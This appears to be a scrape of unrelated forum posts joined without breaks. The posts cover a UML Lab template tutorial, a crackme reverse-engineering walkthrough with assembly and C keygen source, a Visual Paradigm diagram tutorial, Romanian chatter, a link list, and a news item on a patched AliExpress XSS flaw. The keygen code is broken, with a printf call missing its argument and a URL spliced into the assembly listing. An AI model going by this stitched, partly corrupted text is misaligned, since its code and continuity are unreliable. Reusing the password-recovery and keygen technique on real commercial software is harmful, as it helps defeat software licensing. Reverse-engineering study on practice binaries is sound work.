fields as part of the class body with our new Logger Code Style. An explicit log property is not required in the model anymore. UML Lab recognizes this during the template-based reverse engineering and provides a more concise model. The Code Style Wizard already opened the newly created File.xpt template file. It is located in the /templates/ directory of the Logger project. The part we are interested in is the section between«DEFINE additionalMember…» and «ENDDEFINE» tags. Replace that part with the following lines and save the template file. «IF Class.isInstance(parent)» private static final Logger log = Logger.getLogger("«getQualifiedName(".")»"); «addImport("java.util.logging.Logger")» «ENDIF» UML Lab uses the Eclipse Xpand template language for its Code Styles. You can learn more about Xpand and its language elements from the Xpand Reference. The Xpand snippet above can be broken down into four simple elements: The IF clause inside guillemets («…») is a control structure that conditionally writes its body code. This template should only apply to UML classes, i.e. the log field should not be generated for interfaces. Therefore, the condition checks if the classifier for which code is currently generated (parent) is indeed a UML class (Class.isInstance(…)). Text outside guillemets is written to the output verbatim. Here, the log field declaration has been copied from the example's source code into the template. The log declaration needs the full class name of the containing class as a parameter. We use the predefined utility method getQualifiedName(".") to generate its value from the model. This method call is again surrounded by guillemets, telling Xpand to evaluate it and output the result. Finally, the code generator should add an import declaration to the Java source file. This is done with another utility, passing the qualified class name. The finished template should look as follows: With our new template and Code Style in place, let's see what UML Lab makes of our code now. Trigger a complete reparse of the model by right-clicking the model file in the project explorer and selecting UML Lab > Reparse all files. UML Lab opens a dialog asking if the templates should be reloaded. Confirm by clicking on Yes. UML Lab will then reverse engineer the whole project using all available templates - including the newly defined Code Style. This should only take a couple of seconds. Once UML Lab has finished reparsing the project, take a closer look at the updated model. You will notice that the log properties have vanished from the model. Click on a class in the diagram and select CodeStyle from the Properties view. Any class with a log field matching the template above will be annotated with our new Logger style. Adding an additional template The class diagram still contains some undesirable details such as setter methods for various fields. By inspecting the source code, you can see that all these methods contain an additional log.log(…) statement. This implementation detail is not part of the default setter templates provided by UML Lab. So let's adapt the attribute setter template to fix this. To redefine another template in an existing style project, select the project (Logger in our case) from the Package Explorer and choose Edit > Redefine Templates to bring up the wizard page we already know from above. This time, we want to customize the template set for attributes. These templates can be found in the Attribute.xpt file. Expand that tree item as well as its single child, the Attribute template. You will see that there are three fragments available. Fragments are templates that generate code for a common UML element but to different locations in the output. In this case, the code generation for an attribute is split up into three fragments for the Declaration, Getter and Setter. Select the Setter and click Finish. A new Attribute.xpt template file for the redefined template is created in the /templates/ folder of the Logger project. and automatically opened by the wizard. Open the Attribute.xpt file and take a quick look. You will find the setter's method body in the «ELSE» block inside the curly braces. Let's go ahead and add our log statement now. Open one of the setter methods' source code by right-clicking it in the diagram and choosing Navigate to > Source from the context menu. The log statement is located at the start of the setter body. Just copy and paste it to the beginning of our template's setter body. We're almost done now. Note that the log statement makes use of the attribute name. We'll need to replace it with the correct name at runtime. Since our template is defined in the context of the current attribute (as denoted by the FOR Property part of the «DEFINE …» block above) we can just replace the name text with «name». Additionally, we need an import declaration for the Level class. Copy it from the finished example below. At this point, the method body in your template should look as follows: { log.log(Level.FINE, "change «name»"); «addImport("java.util.logging.Level")» «" " + thisName(parent)» = «value»; } The first line is copied from the source code and will be directly written to the output. The attribute name is retrieved from the current attribute. The Level type from the log statement needs to be imported. The resulting template should look as follows: Now, let's re-invoke the parser one more time. All remaining setter methods will now vanish from the model. Thanks to our new codestyle templates, the setters are recognized as simple implementation fragments of the attributes and are no longer needed in the model to generate the same code. Instead, the attributes matching our custom setter are now marked with the Logger style, denoting their special implementation. Wrapping it up We have seen how UML Lab's template collection can be extended to capture your own coding convention in Code Styles by selectively customizing some templates. This allows UML Lab to recognize your style and to abstract from implementation details while reverse-engineering your source. Of course, you can also use your custom Code Styles for new elements. Just create a new class and choose the Logger style from the CodeStyle property page. The code for this class will now include our custom Logger field declaration. Similarly, attributes of this class will inherit its style by default, adding the custom log.log(…) code to their setters. A sample solution of this tutorial is provided as an additional example project. So, if you want to review this tutorial, simply select File > New > Example… > Logger Code Style - stage 1 to import the example Code Style into the workspace. Download UML LAB Source

Introduction Reverse engineering is a very important skill for information security researchers. In this tutorial I will explore the basic concepts of reverse engineering by reversing a simple crackme. The crackme used in this tutorial is from binary auditing course. I will use static approach to solve the problem as it clearly demonstrates the power of reverse engineering. A little bit knowledge of Assembly and Disassemblers, Debuggers is required to understand this material. I will use IDA Disassembler [Reference 2] as it is the most powerful disassembler exists in the market, Hexrays provide a demo version of IDA and I think demo version is enough for solving this exercise but I am using version 5.1. Reverse Engineering - Basic Steps Reverse engineering can be easy and can be difficult, it depends on your target. But the basic steps are Detect packer/encryptor -> if present, then first unpack/decrypt the file and fix imports etc. Static Analysis -> Understand the application logic without executing it in live environment. Dynamic Analysis -> Execute the binary and monitor the application activities. Above steps are just basic of reverse engineering, overall process is based on reverser goals. For eg: for AV researchers and crackers basic steps are same but process is different. Some Important Terms API(Application Programming Interface): In windows world, code sharing is the core of communication and trust. A user application can't directly control hardware or can't directly communicate with windows kernel. So how would application work if application can't talk with the kernel ?. Windows provide various DLLs(Dynamic Link Library) and these DLLs exports various functions to provide services to user applications and we call them API. So the understanding of APIs is necessary. Eg: if you are using printf() function in your code and the linker links the function call to the printf() function in msvcrt.dll, so the printf() function is an API : Read PE file format if you want to know how these things work. Return Value in EAX: The second important thing is that every function/API mostly returns to EAX register. For eg: lets say we are using strlen() to calculate the length of the string, strlen() will return the value into EAX register.. Reversing in Action using IDA Pro Now it is time to get in action with reversing and cracking our crackme [Reference 1]. Here are our tasks, Remove splash screen -> I am leaving this task for you ? Find Hard Coded Password -> we will work on this. Write a keygen -> we will work on this. Load file into IDA Pro. (if you don't know how to operate with IDA then first read "THE IDA PRO BOOK" [Reference 3] excellent guide for IDA usage) Go with default options and you will see IDA is processing the file, you can start the analysis now. One of the most important thing is to look on the Import and Export function tabs to get a compact view that how many and what api is our target application using. Now run the application independently, I mean like a normal application not under debugger and feed some garbage value and note the messages that we get. As you can see in the picture that our crackme is popping up a message box on invalid input. The String "Sorry, please try again" is important or you can say that this string will save a lot of work, situation may vary with target to target but for this crackme this string can be the starting point. But as we can see that IDA is showing the starting function and we don't have any string that can match with the error message i.e "Sorry, Please try again". Now we have two approaches one is trace the call from start function to the function that is containing our magic string. For eg. Go into call sub_40102c and do the same within this function and another approach is to go to function tab in IDA and analyse each function independently. Generally we use the combination of both to manage the analysis time. As you can see in the picture that the function name starting with sub_* are user defined functions, we will open each function and look for our magic string i.e "Sorry, Please try again". Continue with this process we can find our magic string in function sub_401178. As we can see in the picture that we have now clear targets, now we can backtrace and can find out the starting point of string matching. In the first box we can see that application is calling a API GetWindowTextA. If you don't know the api functionality then in this case you can search on msdn win api reference guide. The guide will provide you the parameter meanings, structure and expected return values etc. Now compare this format with the format that is displayed by IDA, we can say that PUSH OFFSET String will receive the data entered by user. Now notice the next two statements LEA EAX, aHardcoded and LEA EBX, String, that means the address of a hardcoded string is moved into EAX and the address of the string that is entered by user is moved into EBX. Now we can say that the aHardcoded contain our hardcoded password because application is matching this string with the user entered string. MOV CL,[EAX] ; hardcoded string [one char each time] MOV DL,[EBX ; string entered by user [one char each time] CMP CL,DL ; compare JN Z SHORT_BAD_BOY ; if no match call bad_boy INC EAX ; else increase eax,ebx INC EBX JMP @<a href="https://rstforums.com/forum/member.php?u=2871" target="_blank">loop</a> ; jump back to loop The above loop is for string matching, so now we are sure that the aHardcoded contain our harcoded password and that is HardCoded. Now we have to find out the solution of second challenge. But if we look into the current function we have only solution for hardcoded one so it means we have to jump to another function to find out the solution for second challenge. Continue with the same process [jumping to functions from function tab for our magic string] we can say that the function sub_4015e4 is the next target for analysis. Now we will backtrace to find out the origin of these message boxes and then figure out that what value will invoke good_boy message box. Starting point of this function is the origin of these message boxes because at the beginning application is calling two GetWindowTextA and we know the purpose of this API from our previous challenge. So application is expecting Name and Serial from user. If you look at the code then we can say that if we don't fill any values into the fields then we get a message box like "Please enter username or please enter a Serial". Now what if we enter a garbage value to the fields? Then we will enter into a simple computation and we have to reverse that logic. mov username_len, eax ; move the value of eax (username length ? returned by API) into a variable xor ecx, ecx ; clear out ECX register xor ebx, ebx ; clear out EBX register xor edx, edx ; clear out EDX register lea esi, username_stor ; move the address of username (a[] = "amit" then ESI = a[0]) into ESI lea edi, user_gene ; destination buffer where we want to store username after computation (like b[] = a[0] ^ 2; it is just a example) mov ecx, 0Ah ; move the value 10 (decimal) into ecx loop: movsx eax, byte ptr [esi+ebx] ;ESI=address of username and EBX=0 -> look above cdq ;nothing special in this application used to convert dword into quadword idiv ecx ; divide the value of EAX with ECX (EAX/10 ?> as ECX = 10) -> look above, now idiv instruction store the quotient into EAX and Remainder into EDX so we can say (EAX%10 = EDX) xor edx, ebx ; xor the value of EDX with EBX (notice that EBX will play as a counter)(EDX=EDX^EBX) add edx, 2 ; ADD two into EDX (EDX = EDX+2) cmp dl, 0Ah ; now compare DL (EDX) with 10 jl short loc_401646 ;if EDX < 10 jump to loc_401646 sub dl, 0Ah ; else subtract 10 from DL(EDX) loc_401646: mov [edi+ebx], dl ; move the value of DL(EDX) into EDI (EDI is our destination) -> look above inc ebx ;increment EBX (notice that EBX work as a pointer or you can say like i in a loop ?) cmp ebx, username_len ;compare the value of EBX with length of username jnz short loop_username ; jump if EBX != username_length to the (loop) -> look above so now we can generate a pseudo code of these instructions let say a[] = "amit" is our source string and b[] is our destination then c = 10 ; ECX i = 0 ; EBX loop: b[i] = a[i] % c; b[i] = b[i] ^ i; b[i] = b[i]+2; if (b[i] > 10) b[i] = b[i]-10; I++; If(i != strlen(a)) Goto loop; So this is the logic of username computation and we have our computed value into b[]. Now comes the Serial generation algorithm. xor ecx, ecx ; clear out ECX xor ebx, ebx ; clear out EBX xor edx, edx ; clear out EDX lea esi, serial_stor ;move address of user entered serial into ESI lea edi, serial_gene ; target buffer means store serial after computation (similar to username process) mov ecx, 0Ah ; move 10 into ECX loc_401669: movsx eax, byte ptr [esi+ebx] ; move the value of serial into EAX (one char ?) cdq ; nothing special for this application idiv ecx ; divide EAX with 10; mov [edi+ebx], dl ; move the remainder into EDI (our destination) inc ebx ; increment pointer (means i) cmp ebx, serial_len ; comare it with the length of serial jnz short loc_401669 Now the result of this computation is stored into another array let say c[]; in the next few instructions we have a loop in the application that will match the value of c[] with b[]. Notice that b[] hold the username where c[] hold the result of serial computation. As we can see in above code that application is only dividing the serial number entered by user with 10 and comparing the result with the result of username computation, so we can say that if x is the result of username computation then x * 11 is the value of serial. So now we can develop the keygen: /* Author: DouBle_Zer0 */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { char a[10]; char b[10]; int c; int i; int d; printf("[-]Coded By DouBle_Zer0\n"); printf("Plz enter your name: "); scanf("%s",a); d = strlen(a) - 1; for(i=0;i<=d;i++) { c = a[i] % 10; c = c ^ i; c = c + 2; if (c > 10) { c = c - 10; } b[i] = c * 11; } b[i] = 0; printf("Corresponding password is: %s\n",; system("pause"); exit(0); } and here is the result in front of you ! Video Demonstration http://player.vimeo.com/video/18821178 References Crackme EXE, keygen source IDA PRO - Popular Disassembler & Debugger The IDA Pro Book - Recommended Source

Since source code is in text form, it is complex and is hard for human to read or analyze, especially when the logic is complicated and involves a large number of classes. "A picture is worth a thousand words", by visualizing source code with diagram, you can easily realize the classes involve as well as their relationship in run time. In order to help you with that, Visual Paradigm enables you to reverse your Java source code into sequence diagram, so that you can gain a better understanding of Java source code by reading diagram instead of looking to a possibly thousand lines of source code. This is very beneficial for both analysis and communication. Download Sample.zip of this tutorial and extract the zip file to any directory. Study the source code. Read the register method in RegisterController.java to see how it works. Start Visual Paradigm Create a new project by selecting File > New Project from the main menu. In the New Project window, name the project as Account Registration and click Create Blank Project button. Select Tools > Code Engineering > Instant Reverse > Java to Sequence Diagram... from the main menu. In the Instant Reverse Java to Sequence Diagram window, click on Add Source Folder... button. Select the extracted source folder src. Click Next button. Select the method to visualize. Select src > RegisterController.java > register (String,int). Click the Next button. You need to select a diagram to visualize the interaction. The Create new sequence diagram option is selected and diagram name is entered by default. Click Finish button. As a result, a sequence diagram is formed. Let's study the diagram. When a person invokes RegisterController's register method (message: 1), it creates an account object (message: 1.1). After that, the controller sets the id, name and age to the account object (message 1.2, 1.3, 1.4) and adds itself to the account list (message: 1.5). The invocation ends with a return (message 1.6). Source

@gabymafia cam ai probleme

OpenRCE: The Open Reverse Code Engineering Community. OpenRCE win4n6: Windows Forensic Analysis – Groups – Yahoo! http://groups.yahoo.com/group/win4n6/ TUTS4YOU: independent community and forum dedicated to the sharing of knowledge and information on reverse code engineering. http://tuts4you.com/download.php Kahu Security Kahu Security highlights security projects and research that may include references to malicious content. Tools | Kahu Security

Reckon e interesant dar nu se incadreaza la tutoriale bre... Ar fi mers la OffTopic.

@AGSQ nu folosesc aplicatia personal dar am gasit niste tutoriale video

O stire foarte interesanta... ca o completare: https://rstforums.com/forum/93591-red-october-attackers-return-cloudatlas-apt-campaign.rst @dany_love sa fim seriosi o companie ca si kaspersky nu cred ca ar face un asemenea lucru (partea cu raspandirea) stai linistit.

Alibaba Group has patched a major security vulnerability in one of its e-commerce portals that exposed account details of tens of millions of Merchants and shoppers to cyber criminals. An Israeli application security firm, AppSec Labs, found a Cross site scripting (XSS) vulnerability in AliExpress, the company’s English language e-commerce site that was found vulnerable to similar flaw a week ago that compromised personal information of Alibaba customers. The flaw was fixed shortly after Cybermoon security firm disclosed it to Alibaba. AliExpress is an online marketplace owned by Chinese E-Commerce giant Alibaba.com, also known as Google of China. The company serves more than 300 Million active users from more than 200 countries including the U.S., Russia and Brazil. But the critical vulnerability found by the researcher could allow an attacker to hijack merchant’s account. Using AliExpress XSS vulnerability an attacker can inject any malicious payload script as value into the message parameter, and when the seller will browse to the message center in AliExpress website using his account, the malicious script will be executed on his browser. XSS Payload can be lead to several attacks such as perform actions on behalf of a seller, phishing attacks, steal the victim's sessions identifier, etc. The vulnerability was discovered by Barak Tawily, a 21 year old Application security researcher at AppSec Labs. Exploiting the vulnerability allowed him to change product prices, delete goods, and even close the merchant’s shop on the site. Barak has also provided a Proof-of-Concept (PoC) video to The Hacker News via an email, explaining the full hack attack on AliExpress website, which you can watch below: AppSec Labs immediately reported the vulnerability to the the Chinese e-commerce giant, Alibaba team through emails and phone calls, providing full details of the flaw. The company didn’t respond immediately, but last week, when AppSec Labs spoke to the Israeli media about the issue, Alibaba contacted the security firm. The vulnerability has now been patched by the company and it is urging its customers to update their accounts immediately. ALIBABA RESPONSE Source